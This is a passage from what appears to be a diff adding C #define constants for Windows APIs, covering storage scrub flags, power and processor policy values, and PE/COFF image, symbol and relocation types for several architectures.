SCRUB_DATA_INPUT_FLAG_SKIP_IN_SYNC 0x2 +#define SCRUB_DATA_INPUT_FLAG_SKIP_NON_INTEGRITY_DATA 0x4 +#define SCRUB_DATA_INPUT_FLAG_IGNORE_REDUNDANCY 0x8 +#define SCRUB_DATA_INPUT_FLAG_SKIP_DATA 0x10 +#define SCRUB_DATA_INPUT_FLAG_SCRUB_BY_OBJECT_ID 0x20 +#define SCRUB_DATA_INPUT_FLAG_OPLOCK_NOT_ACQUIRED 0x40 +#define SCRUB_DATA_OUTPUT_FLAG_INCOMPLETE 0x1 +#define SCRUB_DATA_OUTPUT_FLAG_NON_USER_DATA_RANGE 0x10000 +#define SCRUB_DATA_OUTPUT_FLAG_PARITY_EXTENT_DATA_RETURNED 0x20000 +#define SCRUB_DATA_OUTPUT_FLAG_RESUME_CONTEXT_LENGTH_SPECIFIED 0x40000 +#define SHUFFLE_FILE_FLAG_SKIP_INITIALIZING_NEW_CLUSTERS 0x1 +#define IO_COMPLETION_MODIFY_STATE 0x2 +// SKIPPED const SMB_CCF_APP_INSTANCE_EA_NAME: non-integer constant +#define NETWORK_APP_INSTANCE_CSV_FLAGS_VALID_ONLY_IF_CSV_COORDINATOR 0x1 +#define POWERBUTTON_ACTION_INDEX_NOTHING 0x0 +#define POWERBUTTON_ACTION_INDEX_SLEEP 0x1 +#define POWERBUTTON_ACTION_INDEX_HIBERNATE 0x2 +#define POWERBUTTON_ACTION_INDEX_SHUTDOWN 0x3 +#define POWERBUTTON_ACTION_INDEX_TURN_OFF_THE_DISPLAY 0x4 +#define POWERBUTTON_ACTION_VALUE_NOTHING 0x0 +#define POWERBUTTON_ACTION_VALUE_SLEEP 0x2 +#define POWERBUTTON_ACTION_VALUE_HIBERNATE 0x3 +#define POWERBUTTON_ACTION_VALUE_SHUTDOWN 0x6 +#define POWERBUTTON_ACTION_VALUE_TURN_OFF_THE_DISPLAY 0x8 +#define PERFSTATE_POLICY_CHANGE_IDEAL 0x0 +#define PERFSTATE_POLICY_CHANGE_SINGLE 0x1 +#define PERFSTATE_POLICY_CHANGE_ROCKET 0x2 +#define PERFSTATE_POLICY_CHANGE_IDEAL_AGGRESSIVE 0x3 +#define PERFSTATE_POLICY_CHANGE_DECREASE_MAX 0x2 +#define PERFSTATE_POLICY_CHANGE_INCREASE_MAX 0x3 +#define PROCESSOR_THROTTLE_DISABLED 0x0 +#define PROCESSOR_THROTTLE_ENABLED 0x1 +#define PROCESSOR_THROTTLE_AUTOMATIC 0x2 +#define PROCESSOR_PERF_BOOST_POLICY_DISABLED 0x0 +#define PROCESSOR_PERF_BOOST_POLICY_MAX 0x64 +#define PROCESSOR_PERF_BOOST_MODE_DISABLED 0x0 +#define PROCESSOR_PERF_BOOST_MODE_ENABLED 0x1 +#define PROCESSOR_PERF_BOOST_MODE_AGGRESSIVE 0x2 +#define PROCESSOR_PERF_BOOST_MODE_EFFICIENT_ENABLED 0x3 +#define PROCESSOR_PERF_BOOST_MODE_EFFICIENT_AGGRESSIVE 0x4 +#define PROCESSOR_PERF_BOOST_MODE_AGGRESSIVE_AT_GUARANTEED 0x5 +#define PROCESSOR_PERF_BOOST_MODE_EFFICIENT_AGGRESSIVE_AT_GUARANTEED 0x6 +#define PROCESSOR_PERF_BOOST_MODE_MAX 0x6 +#define PROCESSOR_PERF_AUTONOMOUS_MODE_DISABLED 0x0 +#define PROCESSOR_PERF_AUTONOMOUS_MODE_ENABLED 0x1 +#define PROCESSOR_PERF_PERFORMANCE_PREFERENCE 0xff +#define PROCESSOR_PERF_ENERGY_PREFERENCE 0x0 +#define PROCESSOR_PERF_MINIMUM_ACTIVITY_WINDOW 0x0 +#define PROCESSOR_PERF_MAXIMUM_ACTIVITY_WINDOW 0x4bb2a980 +#define PROCESSOR_DUTY_CYCLING_DISABLED 0x0 +#define PROCESSOR_DUTY_CYCLING_ENABLED 0x1 +#define CORE_PARKING_POLICY_CHANGE_IDEAL 0x0 +#define CORE_PARKING_POLICY_CHANGE_SINGLE 0x1 +#define CORE_PARKING_POLICY_CHANGE_ROCKET 0x2 +#define CORE_PARKING_POLICY_CHANGE_MULTISTEP 0x3 +#define CORE_PARKING_POLICY_CHANGE_MAX 0x3 +#define PARKING_TOPOLOGY_POLICY_DISABLED 0x0 +#define PARKING_TOPOLOGY_POLICY_ROUNDROBIN 0x1 +#define PARKING_TOPOLOGY_POLICY_SEQUENTIAL 0x2 +#define SMT_UNPARKING_POLICY_CORE 0x0 +#define SMT_UNPARKING_POLICY_CORE_PER_THREAD 0x1 +#define SMT_UNPARKING_POLICY_LP_ROUNDROBIN 0x2 +#define SMT_UNPARKING_POLICY_LP_SEQUENTIAL 0x3 +#define POWER_DEVICE_IDLE_POLICY_PERFORMANCE 0x0 +#define POWER_DEVICE_IDLE_POLICY_CONSERVATIVE 0x1 +#define POWER_CONNECTIVITY_IN_STANDBY_DISABLED 0x0 +#define POWER_CONNECTIVITY_IN_STANDBY_ENABLED 0x1 +#define POWER_CONNECTIVITY_IN_STANDBY_SYSTEM_MANAGED 0x2 +#define POWER_DISCONNECTED_STANDBY_MODE_NORMAL 0x0 +#define POWER_DISCONNECTED_STANDBY_MODE_AGGRESSIVE 0x1 +#define POWER_SYSTEM_MAXIMUM 0x7 +#define DIAGNOSTIC_REASON_VERSION 0x0 +#define DIAGNOSTIC_REASON_SIMPLE_STRING 0x1 +#define DIAGNOSTIC_REASON_DETAILED_STRING 0x2 +#define DIAGNOSTIC_REASON_NOT_SPECIFIED 0x80000000 +#define POWER_REQUEST_CONTEXT_VERSION 0x0 +#define POWER_SETTING_VALUE_VERSION 0x1 +#define PROC_IDLE_BUCKET_COUNT 0x6 +#define PROC_IDLE_BUCKET_COUNT_EX 0x10 +#define ACPI_PPM_SOFTWARE_ALL 0xfc +#define ACPI_PPM_SOFTWARE_ANY 0xfd +#define ACPI_PPM_HARDWARE_ALL 0xfe +#define MS_PPM_SOFTWARE_ALL 0x1 +#define POWER_ACTION_QUERY_ALLOWED 0x1 +#define POWER_ACTION_UI_ALLOWED 0x2 +#define POWER_ACTION_OVERRIDE_APPS 0x4 +#define POWER_ACTION_HIBERBOOT 0x8 +#define POWER_ACTION_USER_NOTIFY 0x10 +#define POWER_ACTION_DOZE_TO_HIBERNATE 0x20 +#define POWER_ACTION_ACPI_CRITICAL 0x1000000 +#define POWER_ACTION_ACPI_USER_NOTIFY 0x2000000 +#define POWER_ACTION_DIRECTED_DRIPS 0x4000000 +#define POWER_ACTION_PSEUDO_TRANSITION 0x8000000 +#define POWER_ACTION_LIGHTEST_FIRST 0x10000000 +#define POWER_ACTION_LOCK_CONSOLE 0x20000000 +#define POWER_ACTION_DISABLE_WAKES 0x40000000 +#define POWER_ACTION_CRITICAL 0x80000000 +#define POWER_USER_NOTIFY_FORCED_SHUTDOWN 0x20 +#define BATTERY_DISCHARGE_FLAGS_EVENTCODE_MASK 0x7 +#define BATTERY_DISCHARGE_FLAGS_ENABLE 0x80000000 +#define NUM_DISCHARGE_POLICIES 0x4 +#define DISCHARGE_POLICY_CRITICAL 0x0 +#define DISCHARGE_POLICY_LOW 0x1 +#define PROCESSOR_IDLESTATE_POLICY_COUNT 0x3 +#define PO_THROTTLE_NONE 0x0 +#define PO_THROTTLE_CONSTANT 0x1 +#define PO_THROTTLE_DEGRADE 0x2 +#define PO_THROTTLE_ADAPTIVE 0x3 +#define PO_THROTTLE_MAXIMUM 0x4 +#define HIBERFILE_TYPE_NONE 0x0 +#define HIBERFILE_TYPE_REDUCED 0x1 +#define HIBERFILE_TYPE_FULL 0x2 +#define HIBERFILE_TYPE_MAX 0x3 +#define IMAGE_DOS_SIGNATURE 0x5a4d +#define IMAGE_OS2_SIGNATURE 0x454e +#define IMAGE_OS2_SIGNATURE_LE 0x454c +#define IMAGE_VXD_SIGNATURE 0x454c +#define IMAGE_NT_SIGNATURE 0x4550 +#define IMAGE_SIZEOF_FILE_HEADER 0x14 +#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 0x10 +#define IMAGE_SIZEOF_SHORT_NAME 0x8 +#define IMAGE_SIZEOF_SECTION_HEADER 0x28 +#define IMAGE_SIZEOF_SYMBOL 0x12 +#define IMAGE_SYM_SECTION_MAX 0xfeff +#define IMAGE_SYM_SECTION_MAX_EX 0x7fffffff +#define IMAGE_SYM_TYPE_NULL 0x0 +#define IMAGE_SYM_TYPE_VOID 0x1 +#define IMAGE_SYM_TYPE_CHAR 0x2 +#define IMAGE_SYM_TYPE_SHORT 0x3 +#define IMAGE_SYM_TYPE_INT 0x4 +#define IMAGE_SYM_TYPE_LONG 0x5 +#define IMAGE_SYM_TYPE_FLOAT 0x6 +#define IMAGE_SYM_TYPE_DOUBLE 0x7 +#define IMAGE_SYM_TYPE_STRUCT 0x8 +#define IMAGE_SYM_TYPE_UNION 0x9 +#define IMAGE_SYM_TYPE_ENUM 0xa +#define IMAGE_SYM_TYPE_MOE 0xb +#define IMAGE_SYM_TYPE_BYTE 0xc +#define IMAGE_SYM_TYPE_WORD 0xd +#define IMAGE_SYM_TYPE_UINT 0xe +#define IMAGE_SYM_TYPE_DWORD 0xf +#define IMAGE_SYM_TYPE_PCODE 0x8000 +#define IMAGE_SYM_DTYPE_NULL 0x0 +#define IMAGE_SYM_DTYPE_POINTER 0x1 +#define IMAGE_SYM_DTYPE_FUNCTION 0x2 +#define IMAGE_SYM_DTYPE_ARRAY 0x3 +#define IMAGE_SYM_CLASS_NULL 0x0 +#define IMAGE_SYM_CLASS_AUTOMATIC 0x1 +#define IMAGE_SYM_CLASS_EXTERNAL 0x2 +#define IMAGE_SYM_CLASS_STATIC 0x3 +#define IMAGE_SYM_CLASS_REGISTER 0x4 +#define IMAGE_SYM_CLASS_EXTERNAL_DEF 0x5 +#define IMAGE_SYM_CLASS_LABEL 0x6 +#define IMAGE_SYM_CLASS_UNDEFINED_LABEL 0x7 +#define IMAGE_SYM_CLASS_MEMBER_OF_STRUCT 0x8 +#define IMAGE_SYM_CLASS_ARGUMENT 0x9 +#define IMAGE_SYM_CLASS_STRUCT_TAG 0xa +#define IMAGE_SYM_CLASS_MEMBER_OF_UNION 0xb +#define IMAGE_SYM_CLASS_UNION_TAG 0xc +#define IMAGE_SYM_CLASS_TYPE_DEFINITION 0xd +#define IMAGE_SYM_CLASS_UNDEFINED_STATIC 0xe +#define IMAGE_SYM_CLASS_ENUM_TAG 0xf +#define IMAGE_SYM_CLASS_MEMBER_OF_ENUM 0x10 +#define IMAGE_SYM_CLASS_REGISTER_PARAM 0x11 +#define IMAGE_SYM_CLASS_BIT_FIELD 0x12 +#define IMAGE_SYM_CLASS_FAR_EXTERNAL 0x44 +#define IMAGE_SYM_CLASS_BLOCK 0x64 +#define IMAGE_SYM_CLASS_FUNCTION 0x65 +#define IMAGE_SYM_CLASS_END_OF_STRUCT 0x66 +#define IMAGE_SYM_CLASS_FILE 0x67 +#define IMAGE_SYM_CLASS_SECTION 0x68 +#define IMAGE_SYM_CLASS_WEAK_EXTERNAL 0x69 +#define IMAGE_SYM_CLASS_CLR_TOKEN 0x6b +#define N_BTMASK 0xf +#define N_TMASK 0x30 +#define N_TMASK1 0xc0 +#define N_TMASK2 0xf0 +#define N_BTSHFT 0x4 +#define N_TSHIFT 0x2 +#define IMAGE_COMDAT_SELECT_NODUPLICATES 0x1 +#define IMAGE_COMDAT_SELECT_ANY 0x2 +#define IMAGE_COMDAT_SELECT_SAME_SIZE 0x3 +#define IMAGE_COMDAT_SELECT_EXACT_MATCH 0x4 +#define IMAGE_COMDAT_SELECT_ASSOCIATIVE 0x5 +#define IMAGE_COMDAT_SELECT_LARGEST 0x6 +#define IMAGE_COMDAT_SELECT_NEWEST 0x7 +#define IMAGE_WEAK_EXTERN_SEARCH_NOLIBRARY 0x1 +#define IMAGE_WEAK_EXTERN_SEARCH_LIBRARY 0x2 +#define IMAGE_WEAK_EXTERN_SEARCH_ALIAS 0x3 +#define IMAGE_WEAK_EXTERN_ANTI_DEPENDENCY 0x4 +#define IMAGE_REL_I386_ABSOLUTE 0x0 +#define IMAGE_REL_I386_DIR16 0x1 +#define IMAGE_REL_I386_REL16 0x2 +#define IMAGE_REL_I386_DIR32 0x6 +#define IMAGE_REL_I386_DIR32NB 0x7 +#define IMAGE_REL_I386_SEG12 0x9 +#define IMAGE_REL_I386_SECTION 0xa +#define IMAGE_REL_I386_SECREL 0xb +#define IMAGE_REL_I386_TOKEN 0xc +#define IMAGE_REL_I386_SECREL7 0xd +#define IMAGE_REL_I386_REL32 0x14 +#define IMAGE_REL_MIPS_ABSOLUTE 0x0 +#define IMAGE_REL_MIPS_REFHALF 0x1 +#define IMAGE_REL_MIPS_REFWORD 0x2 +#define IMAGE_REL_MIPS_JMPADDR 0x3 +#define IMAGE_REL_MIPS_REFHI 0x4 +#define IMAGE_REL_MIPS_REFLO 0x5 +#define IMAGE_REL_MIPS_GPREL 0x6 +#define IMAGE_REL_MIPS_LITERAL 0x7 +#define IMAGE_REL_MIPS_SECTION 0xa +#define IMAGE_REL_MIPS_SECREL 0xb +#define IMAGE_REL_MIPS_SECRELLO 0xc +#define IMAGE_REL_MIPS_SECRELHI 0xd +#define IMAGE_REL_MIPS_TOKEN 0xe +#define IMAGE_REL_MIPS_JMPADDR16 0x10 +#define IMAGE_REL_MIPS_REFWORDNB 0x22 +#define IMAGE_REL_MIPS_PAIR 0x25 +#define IMAGE_REL_ALPHA_ABSOLUTE 0x0 +#define IMAGE_REL_ALPHA_REFLONG 0x1 +#define IMAGE_REL_ALPHA_REFQUAD 0x2 +#define IMAGE_REL_ALPHA_GPREL32 0x3 +#define IMAGE_REL_ALPHA_LITERAL 0x4 +#define IMAGE_REL_ALPHA_LITUSE 0x5 +#define IMAGE_REL_ALPHA_GPDISP 0x6 +#define IMAGE_REL_ALPHA_BRADDR 0x7 +#define IMAGE_REL_ALPHA_HINT 0x8 +#define IMAGE_REL_ALPHA_INLINE_REFLONG 0x9 +#define IMAGE_REL_ALPHA_REFHI 0xa +#define IMAGE_REL_ALPHA_REFLO 0xb +#define IMAGE_REL_ALPHA_PAIR 0xc +#define IMAGE_REL_ALPHA_MATCH 0xd +#define IMAGE_REL_ALPHA_SECTION 0xe +#define IMAGE_REL_ALPHA_SECREL 0xf +#define IMAGE_REL_ALPHA_REFLONGNB 0x10 +#define IMAGE_REL_ALPHA_SECRELLO 0x11 +#define IMAGE_REL_ALPHA_SECRELHI 0x12 +#define IMAGE_REL_ALPHA_REFQ3 0x13 +#define IMAGE_REL_ALPHA_REFQ2 0x14 +#define IMAGE_REL_ALPHA_REFQ1 0x15 +#define IMAGE_REL_ALPHA_GPRELLO 0x16 +#define IMAGE_REL_ALPHA_GPRELHI 0x17 +#define IMAGE_REL_PPC_ABSOLUTE 0x0 +#define IMAGE_REL_PPC_ADDR64 0x1 +#define IMAGE_REL_PPC_ADDR32 0x2 +#define IMAGE_REL_PPC_ADDR24 0x3 +#define IMAGE_REL_PPC_ADDR16 0x4 +#define IMAGE_REL_PPC_ADDR14 0x5 +#define IMAGE_REL_PPC_REL24 0x6 +#define IMAGE_REL_PPC_REL14 0x7 +#define IMAGE_REL_PPC_TOCREL16 0x8 +#define IMAGE_REL_PPC_TOCREL14 0x9 +#define IMAGE_REL_PPC_ADDR32NB 0xa +#define IMAGE_REL_PPC_SECREL 0xb +#define IMAGE_REL_PPC_SECTION 0xc +#define IMAGE_REL_PPC_IFGLUE 0xd +#define IMAGE_REL_PPC_IMGLUE 0xe +#define IMAGE_REL_PPC_SECREL16 0xf +#define IMAGE_REL_PPC_REFHI 0x10 +#define IMAGE_REL_PPC_REFLO 0x11 +#define IMAGE_REL_PPC_PAIR 0x12 +#define IMAGE_REL_PPC_SECRELLO 0x13 +#define IMAGE_REL_PPC_SECRELHI 0x14 +#define IMAGE_REL_PPC_GPREL 0x15 +#define IMAGE_REL_PPC_TOKEN 0x16 +#define IMAGE_REL_PPC_TYPEMASK 0xff +#define IMAGE_REL_PPC_NEG 0x100 +#define IMAGE_REL_PPC_BRTAKEN 0x200 +#define IMAGE_REL_PPC_BRNTAKEN 0x400 +#define IMAGE_REL_PPC_TOCDEFN 0x800 +#define IMAGE_REL_SH3_ABSOLUTE 0x0 +#define IMAGE_REL_SH3_DIRECT16 0x1 +#define IMAGE_REL_SH3_DIRECT32 0x2 +#define IMAGE_REL_SH3_DIRECT8 0x3 +#define IMAGE_REL_SH3_DIRECT8_WORD 0x4 +#define IMAGE_REL_SH3_DIRECT8_LONG 0x5 +#define IMAGE_REL_SH3_DIRECT4 0x6 +#define IMAGE_REL_SH3_DIRECT4_WORD 0x7 +#define IMAGE_REL_SH3_DIRECT4_LONG 0x8 +#define IMAGE_REL_SH3_PCREL8_WORD 0x9 +#define IMAGE_REL_SH3_PCREL8_LONG 0xa +#define IMAGE_REL_SH3_PCREL12_WORD 0xb +#define IMAGE_REL_SH3_STARTOF_SECTION 0xc +#define IMAGE_REL_SH3_SIZEOF_SECTION 0xd +#define IMAGE_REL_SH3_SECTION 0xe +#define IMAGE_REL_SH3_SECREL 0xf +#define IMAGE_REL_SH3_DIRECT32_NB 0x10 +#define IMAGE_REL_SH3_GPREL4_LONG 0x11 +#define IMAGE_REL_SH3_TOKEN 0x12 +#define IMAGE_REL_SHM_PCRELPT 0x13 +#define IMAGE_REL_SHM_REFLO 0x14 +#define IMAGE_REL_SHM_REFHALF 0x15 +#define IMAGE_REL_SHM_RELLO 0x16 +#define IMAGE_REL_SHM_RELHALF 0x17 +#define IMAGE_REL_SHM_PAIR 0x18 +#define IMAGE_REL_SH_NOMODE 0x8000 +#define IMAGE_REL_ARM_ABSOLUTE 0x0 +#define IMAGE_REL_ARM_ADDR32 0x1 +#define IMAGE_REL_ARM_ADDR32NB 0x2 +#define IMAGE_REL_ARM_BRANCH24 0x3 +#define IMAGE_REL_ARM_BRANCH11 0x4 +#define IMAGE_REL_ARM_TOKEN 0x5 +#define IMAGE_REL_ARM_GPREL12 0x6 +#define IMAGE_REL_ARM_GPREL7 0x7 +#define IMAGE_REL_ARM_BLX24 0x8 +#define IMAGE_REL_ARM_BLX11 0x9 +#define IMAGE_REL_ARM_SECTION 0xe +#define IMAGE_REL_ARM_SECREL 0xf +#define IMAGE_REL_ARM_MOV32A 0x10 +#define IMAGE_REL_ARM_MOV32 0x10 +#define IMAGE_REL_ARM_MOV32T 0x11 +#define IMAGE_REL_THUMB_MOV32 0x11 +#define IMAGE_REL_ARM_BRANCH20T 0x12 +#define IMAGE_REL_THUMB_BRANCH20 0x12 +#define IMAGE_REL_ARM_BRANCH24T 0x14 +#define IMAGE_REL_THUMB_BRANCH24 0x14 +#define IMAGE_REL_ARM_BLX23T 0x15 +#define IMAGE_REL_THUMB_BLX23 0x15 +#define IMAGE_REL_AM_ABSOLUTE 0x0 +#define IMAGE_REL_AM_ADDR32 0x1 +#define IMAGE_REL_AM_ADDR32NB 0x2 +#define IMAGE_REL_AM_CALL32 0x3 +#define IMAGE_REL_AM_FUNCINFO 0x4 +#define IMAGE_REL_AM_REL32_1 0x5 +#define IMAGE_REL_AM_REL32_2 0x6 +#define IMAGE_REL_AM_SECREL 0x7 +#define IMAGE_REL_AM_SECTION 0x8 +#define IMAGE_REL_AM_TOKEN 0x9 +#define IMAGE_REL_ARM64_ABSOLUTE 0x0 +#define IMAGE_REL_ARM64_ADDR32 0x1 +#define IMAGE_REL_ARM64_ADDR32NB 0x2 +#define IMAGE_REL_ARM64_BRANCH26 0x3 +#define IMAGE_REL_ARM64_PAGEBASE_REL21 0x4 +#define IMAGE_REL_ARM64_REL21 0x5 +#define IMAGE_REL_ARM64_PAGEOFFSET_12A 0x6 +#define IMAGE_REL_ARM64_PAGEOFFSET_12L 0x7 +#define IMAGE_REL_ARM64_SECREL 0x8 +#define IMAGE_REL_ARM64_SECREL_LOW12A 0x9 +#define IMAGE_REL_ARM64_SECREL_HIGH12A 0xa +#define IMAGE_REL_ARM64_SECREL_LOW12L 0xb +#define IMAGE_REL_ARM64_TOKEN 0xc +#define IMAGE_REL_ARM64_SECTION 0xd +#define IMAGE_REL_ARM64_ADDR64 0xe +#define IMAGE_REL_ARM64_BRANCH19 0xf +#define IMAGE_REL_AMD64_ABSOLUTE 0x0 +#define IMAGE_REL_AMD64_ADDR64 0x1 +#define IMAGE_REL_AMD64_ADDR32 0x2 +#define IMAGE_REL_AMD64_ADDR32NB 0x3 +#define IMAGE_REL_AMD64_REL32 0x4 +#define IMAGE_REL_AMD64_REL32_1 0x5 +#define IMAGE_REL_AMD64_REL32_2 0x6 +#define IMAGE_REL_AMD64_REL32_3 0x7 +#define IMAGE_REL_AMD64_REL32_4 0x8 +#define IMAGE_REL_AMD64_REL32_5 0x9 +#define IMAGE_REL_AMD64_SECTION 0xa +#define IMAGE_REL_AMD64_SECREL 0xb +#define IMAGE_REL_AMD64_SECREL7 0xc +#define IMAGE_REL_AMD64_TOKEN 0xd +#define IMAGE_REL_AMD64_SREL32 0xe +#define IMAGE_REL_AMD64_PAIR 0xf +#define IMAGE_REL_AMD64_SSPAN32 0x10 +#define IMAGE_REL_AMD64_EHANDLER 0x11 +#define IMAGE_REL_AMD64_IMPORT_BR 0x12 +#define IMAGE_REL_AMD64_IMPORT_CALL 0x13 +#define IMAGE_REL_AMD64_CFG_BR 0x14 +#define IMAGE_REL_AMD64_CFG_BR_REX 0x15 +#define IMAGE_REL_AMD64_CFG_CALL 0x16 +#define IMAGE_REL_AMD64_INDIR_BR 0x17 +#define IMAGE_REL_AMD64_INDIR_BR_REX 0x18 +#define IMAGE_REL_AMD64_INDIR_CALL 0x19 +#define IMAGE_REL_AMD64_INDIR_BR_SWITCHTABLE_FIRST 0x20 +#define IMAGE_REL_AMD64_INDIR_BR_SWITCHTABLE_LAST 0x2f +#define IMAGE_REL_IA64_ABSOLUTE 0x0 +#define IMAGE_REL_IA64_IMM14 0x1 +#define IMAGE_REL_IA64_IMM22 0x2 +#define IMAGE_REL_IA64_IMM64 0x3 +#define IMAGE_REL_IA64_DIR32 0x4 +#define IMAGE_REL_IA64_DIR64 0x5 +#define IMAGE_REL_IA64_PCREL21B 0x6 +#define IMAGE_REL_IA64_PCREL21M 0x7 +#define IMAGE_REL_IA64_PCREL21F 0x8 +#define IMAGE_REL_IA64_GPREL22 0x9 +#define IMAGE_REL_IA64_LTOFF22 0xa +#define IMAGE_REL_IA64_SECTION 0xb +#define IMAGE_REL_IA64_SECREL22 0xc +#define IMAGE_REL_IA64_SECREL64I 0xd +#define IMAGE_REL_IA64_SECREL32 0xe +#define IMAGE_REL_IA64_DIR32NB 0x10 +#define IMAGE_REL_IA64_SREL14 0x11 +#define IMAGE_REL_IA64_SREL22 0x12 +#define IMAGE_REL_IA64_SREL32 0x13 +#define IMAGE_REL_IA64_UREL32 0x14 +#define IMAGE_REL_IA64_PCREL60X 0x15 +#define IMAGE_REL_IA64_PCREL60B 0x16 +#define IMAGE_REL_IA64_PCREL60F 0x17 +#define IMAGE_REL_IA64_PCREL60I 0x18 +#define IMAGE_REL_IA64_PCREL60M 0x19 +#define IMAGE_REL_IA64_IMMGPREL64 0x1a +#define IMAGE_REL_IA64_TOKEN 0x1b +#define IMAGE_REL_IA64_GPREL32 0x1c +#define IMAGE_REL_IA64_ADDEND 0x1f +#define IMAGE_REL_CEF_ABSOLUTE 0x0 +#define IMAGE_REL_CEF_ADDR32 0x1 +#define IMAGE_REL_CEF_ADDR64 0x2 +#define IMAGE_REL_CEF_ADDR32NB 0x3 +#define IMAGE_REL_CEF_SECTION 0x4 +#define IMAGE_REL_CEF_SECREL 0x5 +#define IMAGE_REL_CEF_TOKEN 0x6 +#define IMAGE_REL_CEE_ABSOLUTE 0x0 +#define IMAGE_REL_CEE_ADDR32 0x1 +#define IMAGE_REL_CEE_ADDR64 0x2 +#define IMAGE_REL_CEE_ADDR32NB 0x3 +#define IMAGE_REL_CEE_SECTION 0x4 +#define IMAGE_REL_CEE_SECREL 0x5 +#define IMAGE_REL_CEE_TOKEN 0x6 +#define IMAGE_REL_M32R_ABSOLUTE 0x0 +#define IMAGE_REL_M32R_ADDR32 0x1 +#define IMAGE_REL_M32R_ADDR32NB 0x2 +#define IMAGE_REL_M32R_ADDR24 0x3 +#define IMAGE_REL_M32R_GPREL16 0x4 +#define IMAGE_REL_M32R_PCREL24 0x5 +#define IMAGE_REL_M32R_PCREL16 0x6 +#define IMAGE_REL_M32R_PCREL8 0x7 +#define IMAGE_REL_M32R_REFHALF 0x8 +#define IMAGE_REL_M32R_REFHI 0x9 +#define IMAGE_REL_M32R_REFLO 0xa +#define IMAGE_REL_M32R_PAIR 0xb +#define IMAGE_REL_M32R_SECTION 0xc +#define IMAGE_REL_M32R_SECREL32 0xd +#define IMAGE_REL_M32R_TOKEN 0xe +#define IMAGE_REL_EBC_ABSOLUTE 0x0 +#define IMAGE_REL_EBC_ADDR32NB 0x1 +#define IMAGE_REL_EBC_REL32 0x2 +#define IMAGE_REL_EBC_SECTION 0x3 +#define IMAGE_REL_EBC_SECREL 0x4 +#define EMARCH_ENC_I17_IMM7B_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_IMM7B_SIZE_X 0x7 +#define EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X 0x4 +#define EMARCH_ENC_I17_IMM7B_VAL_POS_X 0x0 +#define EMARCH_ENC_I17_IMM9D_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_IMM9D_SIZE_X 0x9 +#define EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X 0x12 +#define EMARCH_ENC_I17_IMM9D_VAL_POS_X 0x7 +#define EMARCH_ENC_I17_IMM5C_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_IMM5C_SIZE_X 0x5 +#define EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X 0xd +#define EMARCH_ENC_I17_IMM5C_VAL_POS_X 0x10 +#define EMARCH_ENC_I17_IC_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_IC_SIZE_X 0x1 +#define EMARCH_ENC_I17_IC_INST_WORD_POS_X 0xc +#define EMARCH_ENC_I17_IC_VAL_POS_X 0x15 +#define EMARCH_ENC_I17_IMM41a_INST_WORD_X 0x1 +#define EMARCH_ENC_I17_IMM41a_SIZE_X 0xa +#define EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X 0xe +#define EMARCH_ENC_I17_IMM41a_VAL_POS_X 0x16 +#define EMARCH_ENC_I17_IMM41b_INST_WORD_X 0x1 +#define EMARCH_ENC_I17_IMM41b_SIZE_X 0x8 +#define EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X 0x18 +#define EMARCH_ENC_I17_IMM41b_VAL_POS_X 0x20 +#define EMARCH_ENC_I17_IMM41c_INST_WORD_X 0x2 +#define EMARCH_ENC_I17_IMM41c_SIZE_X 0x17 +#define EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X 0x0 +#define EMARCH_ENC_I17_IMM41c_VAL_POS_X 0x28 +#define EMARCH_ENC_I17_SIGN_INST_WORD_X 0x3 +#define EMARCH_ENC_I17_SIGN_SIZE_X 0x1 +#define EMARCH_ENC_I17_SIGN_INST_WORD_POS_X 0x1b +#define EMARCH_ENC_I17_SIGN_VAL_POS_X 0x3f +#define X3_OPCODE_INST_WORD_X 0x3 +#define X3_OPCODE_SIZE_X 0x4 +#define X3_OPCODE_INST_WORD_POS_X 0x1c +#define X3_OPCODE_SIGN_VAL_POS_X 0x0 +#define X3_I_INST_WORD_X 0x3 +#define X3_I_SIZE_X 0x1 +#define X3_I_INST_WORD_POS_X 0x1b +#define X3_I_SIGN_VAL_POS_X 0x3b +#define X3_D_WH_INST_WORD_X 0x3 +#define X3_D_WH_SIZE_X 0x3 +#define X3_D_WH_INST_WORD_POS_X 0x18 +#define X3_D_WH_SIGN_VAL_POS_X 0x0 +#define X3_IMM20_INST_WORD_X 0x3 +#define X3_IMM20_SIZE_X 0x14 +#define X3_IMM20_INST_WORD_POS_X 0x4 +#define X3_IMM20_SIGN_VAL_POS_X 0x0 +#define X3_IMM39_1_INST_WORD_X 0x2 +#define X3_IMM39_1_SIZE_X 0x17 +#define X3_IMM39_1_INST_WORD_POS_X 0x0 +#define X3_IMM39_1_SIGN_VAL_POS_X 0x24 +#define X3_IMM39_2_INST_WORD_X 0x1 +#define X3_IMM39_2_SIZE_X 0x10 +#define X3_IMM39_2_INST_WORD_POS_X 0x10 +#define X3_IMM39_2_SIGN_VAL_POS_X 0x14 +#define X3_P_INST_WORD_X 0x3 +#define X3_P_SIZE_X 0x4 +#define X3_P_INST_WORD_POS_X 0x0 +#define X3_P_SIGN_VAL_POS_X 0x0 +#define X3_TMPLT_INST_WORD_X 0x0 +#define X3_TMPLT_SIZE_X 0x4 +#define X3_TMPLT_INST_WORD_POS_X 0x0 +#define X3_TMPLT_SIGN_VAL_POS_X 0x0 +#define X3_BTYPE_QP_INST_WORD_X 0x2 +#define X3_BTYPE_QP_SIZE_X 0x9 +#define X3_BTYPE_QP_INST_WORD_POS_X 0x17 +#define X3_BTYPE_QP_INST_VAL_POS_X 0x0 +#define X3_EMPTY_INST_WORD_X 0x1 +#define X3_EMPTY_SIZE_X 0x2 +#define X3_EMPTY_INST_WORD_POS_X 0xe +#define X3_EMPTY_INST_VAL_POS_X 0x0 +#define IMAGE_REL_BASED_ABSOLUTE 0x0 +#define IMAGE_REL_BASED_HIGH 0x1 +#define IMAGE_REL_BASED_LOW 0x2 +#define IMAGE_REL_BASED_HIGHLOW 0x3 +#define IMAGE_REL_BASED_HIGHADJ 0x4 +#define IMAGE_REL_BASED_MACHINE_SPECIFIC_5 0x5 +#define IMAGE_REL_BASED_RESERVED 0x6 +#define IMAGE_REL_BASED_MACHINE_SPECIFIC_7 